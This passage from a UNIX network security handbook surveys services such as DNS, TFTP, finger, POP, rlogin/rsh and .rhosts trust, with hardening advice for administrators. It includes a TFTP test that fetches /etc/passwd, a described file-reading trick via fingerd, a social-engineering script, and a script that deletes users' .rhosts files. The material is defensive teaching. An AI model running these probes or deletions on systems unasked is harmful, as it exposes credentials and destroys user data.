We recommend that you use this setting unless you have a specific reason for divulging your internal account information to the Internet at large. Be aware, though, that sendmail's VERB (verbose) command will still be active, which may still be used by attackers to gain insight into your vulnerabilities. The VERB command cannot be easily disabled.

Note that if you disable the finger command and also turn off the VRFY option in your mailer, you can make it difficult for someone outside your site to determine a valid email address for a user that may be at your site. You should probably set up some form of modified finger service in this case to respond with information about how to obtain a valid email address.

17.3.5 TACACS (UDP Port 49)

TACACS is the TAC Access Control Server protocol. It is a protocol that is used to authenticate logins to terminal servers.

TACACS defines a set of packet types that can be sent from the terminal server to an authentication server. The LOGIN packet is a query indicating that a user wishes to log in to the terminal server. The TACACS server examines the username and the password that are present in the LOGIN packet and sends back an ANSWER packet that either accepts the login or rejects it.

The TACACS and XTACACS (Extended TACACS) support a variety of additional packets, which allow the terminal server to notify the host when users connect, hang up, log in, log out, and switch into SLIP mode.

Passwords are not encrypted with TACACS. Thus, they are susceptible to packet sniffing.

17.3.6 Domain Name System (DNS) (TCP and UDP Port 53)

The Domain Name System (DNS) is a distributed database that is used so that computers may determine IP addresses from hostnames, determine where to deliver mail within an organization, and determine a hostname from an IP address. The process of using this distributed system is called resolving.

When DNS looks up a hostname (or other information), the computer performing the lookup contacts one or more nameservers, seeking records that match the hostname that is currently being resolved.[14] One or more nameserver records can be returned in response to a name lookup. Table 17.2 lists some of the kinds of records that are supported:

[14] Most UNIX DNS implementations use a file called /etc/resolv.conf to specify the IP addresses of the nameservers that should be queried. Further, a default domain can be specified.

Table 17.2: DNS-supported Record Types
Record Type | Purpose
A | Authoritative address. For the IN domain, this is an IP address.
AAAA | IP version 6 authoritative address.
CNAME | Canonical name of an alias for a host.
PTR | Pointer record; maps IP addresses to a hostname (for IP host).
MX | Mail exchange; specifies a different computer that should actually receive mail destined for this host.

For example, using DNS, a computer on the Internet might look up the name www.cs.purdue.edu and receive an A record indicating that the computer's IP address is 128.10.19.20. An MX query about the address cs.purdue.edu might return a record indicating that mail for that address should actually be delivered to the machine arthur.cs.purdue.edu. You can have multiple MX records for robustness; if the first host is unavailable, the program attempting to deliver your electronic mail will try the second, and then the third. Of course, a program trying to deliver email would then have to resolve each of the MX hostnames to determine that computer's IP address.

DNS also makes provision for mapping IP addresses back to hostnames. This reverse translation is accomplished with a special domain called IN-ADDR.ARPA, which is populated exclusively by PTR records. In this example, attempting to resolve the address 20.19.10.128. IN-ADDR.ARPA would return a PTR record pointing to the hostname, which is lucan.cs.purdue.edu (the CNAME of www.cs.purdue.edu).

Besides individual hostname resolutions, DNS also provides a system for downloading a copy of the entire database from a nameserver. This process is called a zone transfer, and it is the process that secondary servers use to obtain a copy of the primary server's database.

DNS communicates over both UDP and TCP, using the different protocols for different purposes. Because UDP is a quick, packet-based protocol that allows for limited data transfer, it is used for the actual process of hostname resolution. TCP, meanwhile, is used for transactions that require large, reliable, and sustained data transfer - that is, zone transfers.

17.3.6.1 DNS zone transfers

Zone transfers can be a security risk, as they potentially give outsiders a complete list of all of an organization's computers connected to the internal network. Many sites choose to allow UDP DNS packets through their firewalls and routers, but explicitly block DNS zone transfers originating at external sites. This design is a compromise between safety and usability: it allows outsiders to determine the IP addresses of each internal computer, but only if the computer's name is already known.

You can block zone transfers with a router that can screen packets, by blocking incoming TCP connections on port 53. Some versions of the Berkeley-named nameserver allow you to place an xfrnets directive in the /etc/named.boot file. If this option is specified, zone transfers will only be permitted from the hosts listed on the xfernets line. This option is useful if you wish to allow zone transfers to a secondary nameserver that is not within your organization, but you don't want to allow zone transfers to anyone else.

For example, if your site operates a single domain, bigcorp.com, and you have a secondary nameserver at IP address 204.17.199.40, you might have the following /etc/named.boot file:

; BigCorp's /etc/named.boot
;
directory		/var/named
;
primary		bigcorp.com		  named.bigcorp
primary		199.17.204.in-addr.arpa		  named.204.17.199
cache		.		  root.ca
xfrnets		204.17.199.40

17.3.6.2 DNS nameserver attacks

Because many UNIX applications use hostnames as the basis of access control lists, an attacker who can gain control of your DNS nameserver or corrupt its contents can use that to break into your systems.

There are two fundamental ways that an attacker can cause a nameserver to serve incorrect information:

  1. Incorrect information can be fraudulently loaded into your nameserver's cache over the network, as a false reply to a query.

  2. An attacker can change the nameserver's configuration files on the computer where your nameserver resides.

If your nameserver has contact with the outside network, there is a possibility that attackers can exploit a programming bug or a configuration error to load your nameserver with erroneous information. The best way to protect your nameserver from these kinds of attacks is to isolate it from the outside network, so that no contact is made. If you have a firewall, you can achieve this isolation by running two nameservers: one in front of the firewall, and one behind it. The nameserver in front of the firewall contains only the names and IP addresses of your gate computer; the nameserver behind the firewall contains the names and IP addresses of all of your internal hosts. If you couple these nameservers with static routing tables, damaging information will not likely find its way into your nameservers.

To change your configuration files, an attacker must have access to the filesystem of the computer on which the nameserver is running and be able to modify the files. After the files are modified, the nameserver must be restarted (by sending it a kill -HUP signal). As the nameserver must run as superuser, an attacker would need to have superuser access on the server machine to carry out this attack. Unfortunately, by having control of your nameserver, a skillful attacker could use control over the nameserver to parlay control of a single machine into control of your entire network. Furthermore, if the attacker does not have root but can modify the nameserver files, then he can simply wait until the nameserver is restarted by somebody else, or until the system crashes and every program is restarted.

You can minimize the possibility of an attacker modifying your nameserver by following these recommendations:

  • Run your nameserver on a special computer that does not have user accounts.

  • If you must run the nameserver on a computer that is used by ordinary users, make sure that the nameserver's files are all owned by root and have their protection mode set to 444 or 400 (depending on your site's policy). Any directories that are used to store nameserver files should be owned by root and have their protection mode set to 755 or 700 (again, depending on your site's policy). And all parent directories of those directories should be owned by root, mode 755 or 700.

  • Remember, there are many files that are used by the nameserver. For example, the Berkeley named nameserver (by far the most common on UNIX systems) first looks at the file /etc/named.bootwhen it starts up. This file specifies other files and other directories that may be located anywhere on your computer. Be sure that all of these files are properly protected.

  • If you know of a specific site that is attempting to attack your nameserver, you can use BIND's bogusns directive to prevent the program from sending nameserver queries to that host.

You can further protect yourself from nameserver attacks by using IP addresses in your access control lists, rather than by using hostnames. Unfortunately, several significant programs do not allow the use of IP addresses. For example, the Solaris rlogind/rshd does not allow you to specify an IP address in the /etc/hosts.equiv file or the .rhosts file. We believe that vendors should modify their software to permit an IP address to be specified wherever hostnames are currently allowed.

17.3.7 Trivial File Transfer Protocol (TFTP) (UDP Port 69)

The Trivial File Transfer Protocol (TFTP) is a UDP-based file-transfer program that provides no security. There is a set of files that the TFTP program is allowed to transmit from your computer, and the program will transmit them to anybody on the Internet who asks for them. One of the main uses of TFTP is to allow workstations to boot over the network; the TFTP protocol is simple enough to be programmed into a small read-only memory chip.

Because TFTP has no security, tftpd, the TFTP daemon, is normally restricted so that it can transfer files only to or from a certain directory. Unfortunately, many early versions of tftpd had no such restriction. For example, versions of the SunOS operating systems prior to Release 4.0 did not restrict file transfer from the TFTP program.

You can test your version of tftpd for this restriction with the following sequence:

% tftp localhost
tftp> get /etc/passwd tmp
Error code 1: File not found
tftp> quit
%

If tftp does not respond with "Error code 1: File not found," or simply hangs with no message, then get a current version of the program.

On AIX, tftp access can be restricted through the use of the /etc/tftpaccess.ctl file.

17.3.8 finger (TCP Port 79)

The finger program has two uses:

  • If you run finger with no arguments, the program prints the username, full name, location, login time, and office telephone number of every user currently logged into your system (assuming that this information is stored in the /etc/passwd file).

  • If you run finger with a name argument, the program searches through the /etc/passwd file and prints detailed information for every user with a first name, last name, or username that matches the name you specified.

Normally, finger runs on the local machine. However, you can find out who is logged onto a remote machine (in this case, a machine at MIT) by typing:

% finger @media-lab.media.mit.edu

To look up a specific user's finger entry on this machine, you might type:

% finger gandalf@media-lab.media.mit.edu

The /etc/fingerd program implements the network finger protocol, which makes finger service available to anybody on the network.

finger provides a simple, easy-to-use system for making personal information (like telephone numbers) available to other people. Novice users are often surprised, however, that information that is available on their local machine is also available to anyone on any network to which their local machine is connected. Thus, users should be cautioned to think twice about the information they store using the chfn command, and in their files printed by finger. finger makes it easy for intruders to get a list of the users on your system, which dramatically increases the intruders' chances of breaking into your system.

17.3.8.1 The .plan and .project files

Most versions of the UNIX finger program display the contents of the .plan and .project files in a person's home directory when that person is "fingered." On older versions of UNIX, the finger daemon ran as root. As a result, an intrepid user could read the contents of any file on the system by making her .plan a symbolic link to that file, and then running finger against her own account.

One easy way that you can check for this is to create a .plan file and change its file mode to 000. Then run finger against your own account. If you see the contents of your .plan file, then your version of fingerd is unsecure.

17.3.8.2 Disabling finger

The finger system reveals information that could be used as the basis for a social engineering attack. For example, an attacker could "finger" a user on the system, determine their name and office number, then call up the system operator and say "Hi, this is Jack Smith. I work in office E15, but I'm at home today. I've forgotten my password; could you please change my password to foo*bar so that I can log on?"

Many system administrators choose to disable the finger system. There are two ways that you can do this:

  • You can remove (or comment out) the finger server line in the file /etc/inetd.conf. This change will cause people trying to finger your site to receive a "Connection refused" error. Disabling finger in this way can cause problems for trying to determine mail addresses or phone numbers. Outsiders may be attempting to contact you to warn you that your site has been broken into by others. Therefore, completely disabling finger in this way might actually decrease your overall security, in addition to causing an overall inconvenience for everybody.

  • You can replace the finger server with a shell script that prints a message instructing people how to contact your site. For example, you might use a script that looks like this:

    #!/bin/sh
#
/bin/cat << 'XX'
Welcome to Big Whammix Inc.

For information on contacting a specific employee, please call our
company operator at 1-999-555-1212 or send electronic mail to
the address postmaster@whammix.com

Thank you.

XX
exit 0

    Store this script in an executable file, such as /usr/local/etc/no_finger. Then in the file /etc/inetd.conf, replace the normal finger entry with this line:

    finger  stream  tcp   nowait  nobody /usr/local/etc/no_finger no_finger

    Remember to restart inetd.

17.3.8.3 Replacing finger

As an alternative to finger, you can use the ph (phone book) server. This server allows you to place information into a database, and specify which information should be returned for queries originating from inside and outside your network.

You can download the ph server from ftp://vixen.cso.uiuc.edu/pub/ph.tar.gz.

17.3.9 HyperText Transfer Protocol (HTTP) (TCP Port 80)

The Hypertext Transfer Protocol is the protocol that is used to request and receive documents from servers on the World Wide Web (WWW). Access to the World Wide Web is one of the driving forces behind the growth of the Internet, and many sites that have Internet connectivity will be pressured to provide both client applications and WWW servers for their users.

One of the reasons for the success of HTTP is its simplicity. When a client contacts a WWW server, the client asks for a filename; the server responds with a MIME document formatted in either plain ASCII or HTML (HyperText Markup Language). The document is then displayed.[15]

[15] HTML is a simple use of SGML (Standard Generalized Markup Language).

WWW browsers can implement as much (or as little) of HTML as they wish; the documents displayed will still be viewable. HTML documents can have embedded tags for images (which are separately retrieved) and for hypertext links to other documents. The servers are configured so that a specified directory on the system (for example, /usr/local/etc/httpd/htdocs) corresponds with the root directory of the WWW client (for example, http://www.oreilly.com/).

Because there are many security considerations when setting up a WWW server and using a WWW client, we have written a whole chapter about them. See Chapter 18, WWW Security, for the complete story.

17.3.10 Post Office Protocol (POP) (TCP Ports 109 and 110)

The Post Office Protocol (POP) is a system that provides users on client machines a way to retrieve their electronic mail - without mounting a shared mail-spool directory using a remote file-access protocol such as NFS. POP allows users to access individual mail messages, to set limits on the maximum length of the message that the client wishes to retrieve, and to leave mail on the server until the message has been explicitly deleted.

POP requires that users authenticate themselves before they can access their mail. There are at least three ways to do this:

  1. You can use simple passwords. This is by far the most common way for POP users to authenticate themselves to POP servers. Unfortunately, most POP clients use the same password for retrieving mail that they do for unrestricted system access. As a result, the user's password is a tempting target for an attacker armed with a packet sniffer. And it's an easy target, as it is always sent properly, it is always sent to the same port, and it is sent frequently - typically every few minutes.

  2. You can use POP's APOP option. Instead of passwords, APOP uses a simple challenge/response system. It is described in RFC 1725, the same RFC that describes POP3.

    When a client program connects to a POP3 server, the server sends a banner that must include a unique timestamp string located within a pair of angle-brackets. For example, the UNIX POP server might return the following:

    +OK POP3 server ready <1896.697170952@dbc.mtview.ca.us>

    When using simple passwords, the client program would next send through the username and the password, like this:

    +OK POP3 server ready <1896.697170952@dbc.mtview.ca.us>
user mrose
+OK Password required for mrose.
pass fooby$#
+OK maildrop has 1 message (369 octets)

    With APOP, the client program does not send the USER and PASS commands; instead, it sends an APOP command that contains the username and a 128-bit hexadecimal number that is the MD5 hash code of the timestamp (including the angle brackets) and a secret passphrase that is known to both the user and the POP server. For example, the user might have the password tanstaaf. To determine the appropriate MD5 code, the user's client program would compute the MD5 hash of:

    <1896.697170952@dbc.mtview.ca.us>tanstaaf

    which is:

    c4c9334bac560ecc979e58001b3e22fb

    Thus, the APOP message sent to the server would be:

    APOP mrose c4c9334bac560ecc979e58001b3e22fb
+OK maildrop has 1 message (369 octets)

    Note that because the POP3 server must know the shared secret, it should not be the same phrase as your password.

  3. You can use a version of POP that has been modified to work with Kerberos. (Kerberos is described in Chapter 19, RPC, NIS, NIS+, and Kerberos.)

Note that both your POP server and your POP client must support the authentication system that you wish to use. For example, early popular Eudora email clients only support traditional passwords, but later versions include support for both APOP and Kerberos.[16]

[16] Actually, Eudora doesn't support Kerberos directly. Instead, it uses the Kclient application program that is available for both the Macintosh and Windows.

17.3.11 Sun RPC's portmapper (UDP and TCP Ports 111)

The portmapper program is used as part of Sun Microsystem's Remote Procedure Call (RPC) system to dynamically assign the TCP and UDP ports used for remote procedure calls. portmapper is thus similar to the inetd daemon, in that it mediates communications between network clients and network servers that may have security problems.

The standard UNIX portmapper assumes that security will be handled by the servers, and therefore allows any network client to communicate with any RPC server. You can improve security by using Wietse Venema's portmapper replacement program, which can be obtained via anonymous FTP from the site ftp.win.tue.nl /pub/security/portmap.shar. This portmapper allows for improved logging, as well as access control lists.

Many sites further restrict access to their portmappers by setting their firewalls to block packets on port 111.

17.3.12 Identification Protocol (auth) (TCP Port 113)

The TCP/IP protocol is a system for creating communication channels between computers, not users. However, it is sometimes useful to know the name of the user associated with a particular TCP/IP connection. For example, when somebody sends mail to your computer, you should be able to verify that the username in the mail message's "From:" field is actually the name of the user who is sending the message.

The identification protocol gives you a way of addressing this problem with a simple callback scheme. When a server wants to know the "real name" of a person initiating a TCP/IP connection, it simply opens a connection to the client machine's identd daemon and sends a description of the TCP/IP connection in progress; the remote machine sends a human-readable representation of the user who is initiating the connection - usually the user's username and the full name from the /etc/passwd file.

The identification protocol is usually not a very good approach to network security, because it depends on the honesty of the computer at the other end of the TCP/IP connection. Thus, if somebody is trying to break into your computer from another computer that they have already gained control of, ident will not tell you that person's name. On the other hand, it is useful for organizations such as universities who want to track down the perpetrators of simplistic, sophomoric email forgery attempts.

If an intruder has a normal account (no root privileges) that he is using as a stepping stone to other hosts, running an ident server may be very useful in tracking down the intruder. Sites that have a reasonable number of users should run ident to help track down accounts that have been compromised during an incident.

In general, the responses of ident queries are more useful to the administrators of the site that sends the response than the site that receives it. Thus, logging ident queries may not help you, but can be a courtesy to others.

To make use of the identification protocol, you need to have a server program that understands the protocol and knows to place the callback. sendmail version 8 will do so, for instance, as will tcpwrapper.

17.3.13 Network News Transport Protocol (NNTP) (TCP Port 119)

The Network News Transport Protocol (NNTP) is used by many large sites to transport Usenet articles between news servers. The protocol also allows users on distributed workstations to read news and post messages to the Usenet.

NNTP can be configured with an access control list (ACL) to determine which computers are allowed to use which features. The access control list is based on hostname; thus NNTP's security can be bypassed through IP spoofing or through DNS attacks.

Under normal circumstances, a compromised NNTP server does not represent a serious security threat - it simply means that an unauthorized individual may be able to read or post Usenet articles without permission. However, there are two potential circumstances in which unauthorized use of NNTP could cause problems:

  • If you have special newsgroups for your own organization's internal discussions, there is a chance that a compromised NNTP server could reveal confidential information to outsiders.

  • If an outsider can post from your NNTP server, that outsider could post a message that is libelous, scandalous, or offensive - potentially causing a liability for your organization.

You can protect your NNTP server from these forms of abuse with a good firewall.

INND is an alternative Usenet news transport program written by Rich Salz. If you are running INND, make sure that you have at least version 1.4 and have applied the relevant security patches, or have a version higher than 1.4. Versions of INND prior to and including version 1.4 had a serious problem.[17]

[17] For any software like this that you install, you should check to be sure that you have the most current version.

17.3.14 Network Time Protocol (NTP) (UDP Port 123)

The Network Time Protocol (NTP) is the latest in a long series of protocols designed to let computers on a local or wide area network figure out the current time. NTP is a sophisticated protocol that can take into account network delay and the existence of different servers with different clocks. Nevertheless, NTP was not designed to resist attack, and several versions of ntpd, the NTP daemon, can be fooled into making significant and erroneous changes to the system's clock.

A variety of problems can arise if an attacker can change your system clock:

  • The attacker can attempt a replay attack. For example, if your system uses Kerberos, old Kerberos tickets may work once again. If you use a time-based password system, old passwords may work.

  • Your system log files will no longer accurately indicate the correct time at which events took place. If your attacker can move the system's clock far into the future, he or she might even be able to cause your system to erase all of its log files as the result of a weekly or monthly cleanup procedure.

  • Batch jobs run from the cron daemon may not be executed if your system's clock jumps over the time specified in your crontab file or directory. This type of failure in your system's clock may have an impact on your security.

17.3.15 Simple Network Management Protocol (SNMP) (UDP Ports 161 and 162)

The Simple Network Management Protocol (SNMP) is a protocol designed to allow the remote management of devices on your network. To be managed with SNMP, a device must be able to receive packets over a network.

SNMP allows for two types of management messages:

  • Messages that monitor the current status of the network (for example, the current load of a communications link)

  • Messages that change the status of network devices (for example, take a communications link up or down)

SNMP can be of great value to attackers. With carefully constructed SNMP messages, an attacker can learn the internal structure of your network, change your network configuration, and even shut down your operations. Although some SNMP systems include provisions for password-based security, others don't. SNMP version 2.0 was intended to include better security features, but as this book goes to press, the standards committee is unable to agree on the necessary features, so the prospects look bleak. Each site must therefore judge the value of each particular SNMP service and weigh that value against the risk.

NOTE: If you use SNMP, you should be sure to change your SNMP "community" from "public" to some other value. When an SNMP monitoring program queries an SNMP agent for information, the monitoring program must provide the correct community or the agent does not return any information. By changing your SNMP community from the default (public) to some other value, you can limit the amount of information that an unknowledgeable attacker can learn about your network.

17.3.16 NEXTSTEP Window Server (NSWS) (TCP Port 178)

NEXTSTEP applications (don't laugh; there are still quite a few out there) use TCP connections on port 178 to communicate with the NEXTSTEP Display PostScript Window Server. An application that can connect to the Window Server has total control of the workstation on which that Window Server is running: as with X, the application can read the contents of the screen and send events to other applications. Furthermore, the application can use the Display PostScript Server to read or write any file on the workstation to which the logged-in user has access.

Current versions of the NEXTSTEP Window Server have a simplistic approach to security. There is no authentication of incoming connections. The Window Server either accepts connections from remote machines or it doesn't. Whether or not connections are accepted is set by a check box in the NEXTSTEP Preference application. The preference is stored in the user's "defaults database," which means that it can be toggled on by rogue applications without the user's knowledge.

Accept remote connections at your own risk.

If you place a computer running NEXTSTEP on the Internet, be sure that you place it behind a firewall, or be absolutely sure that you do not allow remote applications to connect to your Window Server.

17.3.17 rexec (TCP Port 512)

The remote execution daemon /usr/sbin/rexecd allows users to execute commands on other computers without having to log into them. The client opens up a connection and transmits a message that specifies the username, the password, and the name of the command to execute. As rexecd does not use the trusted host mechanism, it can be issued from any host on the network. However, because rexecd requires that the password be transmitted over the network, it is susceptible to the same password snooping as Telnet.

Unlike login and telnet, rexecd provides different error messages for invalid usernames and invalid passwords. If the username that the client program provides is invalid, rexecd returns the error message "Login incorrect." If the username is correct and the password is wrong, however, rexecd returns the error message "Password incorrect."

Because of this flaw, a cracker can use rexecd to probe your system for the names of valid accounts and then to target those accounts for password guessing attacks.

If you do not expect to use this service, disable it in /etc/inetd.conf.

17.3.18 rlogin and rsh (TCP Ports 513 and 514)

The rlogin and rlogind programs provide remote terminal service that is similar to telnet. rlogin is the client program, and rlogind is the server. There are two important differences between rlogin and telnet:

  1. rlogind does not require that the user type his or her username; the username is automatically transmitted at the start of the connection.

  2. If the connection is coming from a "trusted host" or "trusted user," (described in the next section), the receiving computer lets the user log in without typing a password.

rsh/rshd are similar to rlogin/rlogind, except that instead of logging the user in, they simply allow the user to run a single command on the remote system. rsh is the client program, while rshd is the server. rsh/rshd only works from trusted hosts or trusted users (described in the next section).

rlogin is used both with local area networks and over the Internet. Unfortunately, it poses security problems in both environments.

rlogin and rsh are designed for communication only between Berkeley UNIX systems. Users who want to communicate between UNIX and TOPS, VMS, or other kinds of systems should use the telnet protocol, not the rlogin protocol.

17.3.18.1 Trusted hosts and users

Trusted host is a term that was invented by the people who developed the Berkeley UNIX networking software. If one host trusts another host, then any user who has the same username on both hosts can log in from the trusted host to the other computer without typing a password.

Trusted users are like trusted hosts, except they are users, not hosts. If you designate a user on another computer as a trusted user for your account, then that user can log into your account without typing a password.

The UNIX system of trusted hosts allows you to use the network to its fullest extent. rlogin lets you easily jump from computer to computer, and rsh lets you run a command on a remote computer without even having to log in!

Trust has a lot of advantages. In a small, closed environment, computers often trust each other. Trust allows a user to provide a password once, the first time he logs in, and then to use any other machine in the cluster without having to provide a password a second time. If one user sometimes uses the network to log into an account at another organization, then that user can set up the accounts to trust each other, thus speeding up the process of jumping between the two organizations.

But trust is also dangerous, because there are numerous ways that it can be compromised.

NOTE: The trusted-host mechanism uses IP addresses for authentication and is thus vulnerable to IP spoofing (as well as to DNS attacks). Do not use trusted hosts in security-critical environments.

17.3.18.2 The problem with trusted hosts

Because you don't need to type your password when you use rlogin to log into a computer from another machine that is a trusted host, rlogin is usually less susceptible to eavesdropping than telnet. However, trusted hosts introduce security problems for two reasons: you can't always trust a host, and you can't trust the users on that host.

If an attacker manages to break into the account of someone who has an account on two computers - and the two computers trust each other - then the person's account on the second computer is also compromised. Having an attacker break into the first computer is easier than it may sound. Most workstations can be booted in single-user mode with relative ease. As the superuser, the attacker can su to any account at all. If the server trusts the workstation - perhaps to let users execute commands on the server with rsh - then the attacker can use rlogin to log into the server and thereby gain access to anybody's files.

Although some workstations can be password protected against being booted in single-user mode, this protection gives only an illusion of security. In theory, an attacker could simply unplug the current workstation and plug in her own. Portable UNIX workstations with Ethernet boards are available that weigh less than four pounds. By reconfiguring her portable workstation's network address and hostname, she could program it to masquerade as any other computer on the local area network.

Another problem with trusted hosts involves NFS. Often, a user's home directory is exported with NFS to other machines. Someone who is able to write to the user's home directory on that partition on a remote machine can add arbitrary entries to the .rhosts file. These additions then allow the attacker to log in to that account on every machine that imports the home directory.

Trusted hosts and trusted users have been responsible for many security breaches in recent years. Trust causes breaches in security to propagate quickly: If charon trusts ringworld and an intruder breaks into ringworld, then charon is also compromised. Nevertheless, system administrators frequently set up computers as trusted clusters to enable users to take advantage of the network environment with greater ease. Although there is technically no reason to create these trusted clusters in a networked computing environment, at many computing facilities administrators believe that the benefits outweigh the risks.

Trusted hosts are also vulnerable to IP spoofing, a technique in which one computer sends out IP packets that appear to come from a different computer. Using a form of IP spoofing, users on one host can masquerade, and appear to come from a second host. They can then log into your computer, if the second host is trusted.

17.3.18.3 Setting up trusted hosts

The /etc/hosts.equiv file contains a list of trusted hosts for your computer. Each line of the file lists a different host. If you have Sun's NIS (or use another system that supports netgroups), you can also extend or remove trust from entire groups of machines.

Any hostname listed in hosts.equiv is considered trusted; a user who connects with rlogin or rsh from that host will be allowed to log in or execute a command from a local account with the same username, without typing a password. When using Sun's NIS (described in Chapter 19), a line of the form +@hostgroup makes all of the hosts in the network group hostgroup trusted; likewise, a line that has the form -@anotherhostgroup makes all of the hosts in the network group anotherhostgroup specifically not trusted. The file is scanned from the beginning to the end; the scanning stops after the first match.[18]

[18] Beware that +@hostgroup and -@hostgroup features are broken in some NIS implementations. Check to be sure they are doing what you intend.

Consider this example file:

gold.acs.com
silver.acs.com
platinum.acs.com
-@metals
+@gasses

This file makes your computer trust the computers gold, silver, and platinum in the acs.com domain. Furthermore, your computer will trust all of the machines in the gasses netgroup, except for the hosts that are also in the metals netgroup.

17.3.18.4 The ~/.rhosts file

After scanning the hosts.equiv file, the rlogind and rshd programs scan the user's home directory for a file called .rhosts. A user's .rhosts file allows each user to build a set of trusted hosts applicable only to that user.

For example, suppose the ~keith/.rhosts file on the math.harvard.edu computer contains the lines:

prose.cambridge.ma.us
garp.mit.edu

With this .rhosts file, a user name keith on prose or on garp can rlogin into keith's account on math without typing a password.

A user's .rhosts file can also contain hostname-username pairs extending trust to other usernames. For example, suppose that keith's .rhosts file also contains the line:

hydra.gatech.edu lenny

In this case, the user named lenny at the host hydra could log into keith's account without providing a password.

NOTE: Only place machine names in the /etc/hosts.equiv file; do not place machine /username pairs! Although many versions of UNIX allow you to add usernames to the file, the UNIX networking utilities do not do the sensible thing by extending trust only to that particular user on that particular machine. Instead, they allow that particular user on that particular machine to log into any account on your system! If you wish to extend trust to a particular user on a particular machine, have that user create a ~/.rhosts file, described below.

.rhosts files are powerful and dangerous. If a person works at two organizations, using a .rhosts file allows that person to use the rsh command between the two machines. It also lets you make your account available to your friends without telling them your password. (We don't recommend this as sound policy, however!) Also, note that the superusers of each organization can make use of the entries in .rhosts files to gain access to your account in the other organization. This could lead to big problems in some situations.

The trust implied by the ~/.rhosts file is transitive. If you trust somebody, then you trust everybody that they trust, and so on.

.rhosts files are easily exploited for unintended purposes. For example, crackers who break into computer systems frequently add their usernames to unsuspecting users' .rhosts files so that they can more easily break into the systems again in the future. For this reason, you may not want to allow these files on your computer.

NOTE: The ~/.rhosts file should be set up with mode 600 so that other users on your system cannot easily determine the hosts that you trust. Always use fully qualified domain names in this file, and do not include any comment characters. (# or ! can create vulnerabilities.) The same restrictions apply to hosts.equiv and hosts.lpd.

17.3.18.5 Searching for .rhosts files

Because of the obvious risks posted by .rhosts files, many system administrators have chosen to disallow them entirely. How do you do this? One approach is to remove (or comment out) the entries for rshd and rlogind in the inetd.conf file, thus disabling the commands that might use the files. Another way is to use Wietse Venema's logdaemon package. A third option is to obtain the source code for the rshd and rlogind programs and remove the feature directly.[19] This method is relatively easy to do. Another approach is to scan your system periodically for users who have these files and to take appropriate action when you find them. Finally, you can patch the binary of your rshd and rlogind programs, search for the string /.rhosts, and then change it to the empty string.

[19] Before you hack the code, try checking your rshd documentation. Some vendors have a flag to limit .rhosts (usually to just the supervisor).

You can find all of the .rhosts files on your system using a simple shell script:

#!/bin/ksh
# Search for .rhosts files in home directories

PATH=/usr/bin

for user in $(cat-passwd | awk -F: 'length($6) > 0 {print $6}'| sort -u)
do
    [[ -f $user/.rhosts ]] && print "There is a .rhosts file in $user"
done

where the cat-passwd command is the same one we described earlier.

To delete the .rhosts files automatically, add a rm command to the shell script after the print:

#!/bin/ksh
# Search for .rhosts files in home directories

PATH=/usr/bin

for user in $(cat-passwd | awk -F: 'length($6) > 0 {print $6}'| sort -u)
do
    [[ -f $user/.rhosts ]] || continue
    rm -f $user/.rhosts
    print "$user/.rhosts has been deleted"
done

NOTE: Many older SunOS systems were distributed with a single line containing only a plus sign (+) as their hosts.equiv file: The plus sign has the effect of making every host a trusted host, which is precisely the wrong thing to do. This line is a major security hole, because hosts outside the local organization (over which the system administrator has no control) should never be trusted. If you have a plus sign in your hosts.equiv file, REMOVE IT. This change will disable some other features, such as the ability for other machines to print on your printer using the remote printer system. To retain remote printing, follow the steps detailed later.

17.3.18.6 /etc/hosts.lpd file

Normally, the UNIX lpd system allows only trusted hosts to print on your local printer. However, this restriction presents a security problem, because you may wish to let some computers use your printer without making them equivalent hosts.

The way out of this quandary is to amend the /etc/hosts.lpd file. By placing a hostname in this file, you let that host use your printers without making it an equivalent host. For example, if you want to let the machines dearth and black use your computer's printer, you can insert their names in /etc/hosts.lpd:

% cat /etc/hosts.lpd
dearth
black
%

The hosts.lpd file has the same format as the hosts.equiv file. Thus, to allow any computer on the Internet to print on your printer, you could use the following entry:

% cat /etc/hosts.lpd
+
%

We do not recommend that you do this, however!

17.3.19 Routing Internet Protocol (RIP routed) (UDP Port 520)

The RIP routing protocol is used by Internet gateways to exchange information about new networks and gateways. It is implemented on many UNIX systems by the routed daemon. An alternative daemon called gated offers more control over which routing information is accepted and distributed.

The routed daemon is quite a trusting program: it will happily receive (and believe) a packet from another computer on the network that says, in effect, "I am the best gateway to get anywhere; send all of your packets to me." Clearly, this trust presents even inexperienced attackers with a simple way for confounding your network. Even worse: it gives sophisticated attackers a way to eavesdrop on all of your communications.

For these reasons, many sites no longer run the routed daemon. Instead, they use static routes. For most network configurations, static routing is all that is really needed: if there is only one gateway out of the local network, all traffic should be routed to it.

17.3.20 UUCP over TCP (TCP Port 540)

The main use for sending UUCP data over TCP connections is that some UUCP systems can transmit Usenet news more efficiently than the more modern NNTP.

UUCP over TCP presents a security risk, as UUCP passwords are sent unencrypted. Furthermore, if you use news to transfer confidential information between corporate sites, that information may be monitored by other sites situated between the two endpoints.

17.3.21 The X Window System (TCP Ports 6000-6063)

X is a popular network-based window system that allows many programs to share a single graphical display. X-based programs display their output in windows, which can be either on the same computer on which the program is running or on any other computer on the network.

Each graphical device that runs X is controlled by a special program, called the X Window Server. Other programs, called X clients, connect to the X Window Server over the network and tell it what to display. Two popular X clients are xterm (the X terminal emulator) and xclock (which displays an analog or digital clock on the screen).

17.3.21.1 /etc/fbtab and /etc/logindevperm

Multiuser workstations provide a challenge for X security. On early implementations of X, the logical devices for the keyboard, screen, and sound devices were world readable and world writable; this availability caused security problems, because it meant that anybody could read the contents of the user's screen or keyboard, or could listen to the microphone in his office.

Some versions of UNIX have a special file that is used to solve this problem. The file, which is called /etc/fbtab under SunOS and /etc/logindevperm under Solaris (for example), specifies a list of devices that should have their owner changed to the account that has logged into the UNIX workstation. This approach is similar to the way that the /bin/login changes the ownership of tty devices to the person who has logged into a serial device.

Here is a portion of the Solaris /etc/logindevperm file. Under Solaris, the file is read by the /bin/ttymon program. When a person logs onto the device that is listed in the first field, the program sets the device listed in the third field to the UID of the user that has logged in. The mode of the device is set to the value contained in the second field:

/dev/console    0600    /dev/mouse:/dev/kbd
/dev/console    0600    /dev/sound/*        # audio devices
/dev/console    0600    /dev/fbs/*          # frame buffers
/dev/console    0600    /dev/rtvc0          # nachos capture device 0
/dev/console    0400    /dev/rtvcctl0       # nachos control device 0

17.3.21.2 X security

The X Window System has a simple security model - all or nothing. The X security mechanisms are used to determine whether or not a client can connect to the X Window Server. After a client successfully connects, that client can exercise complete control over the display.

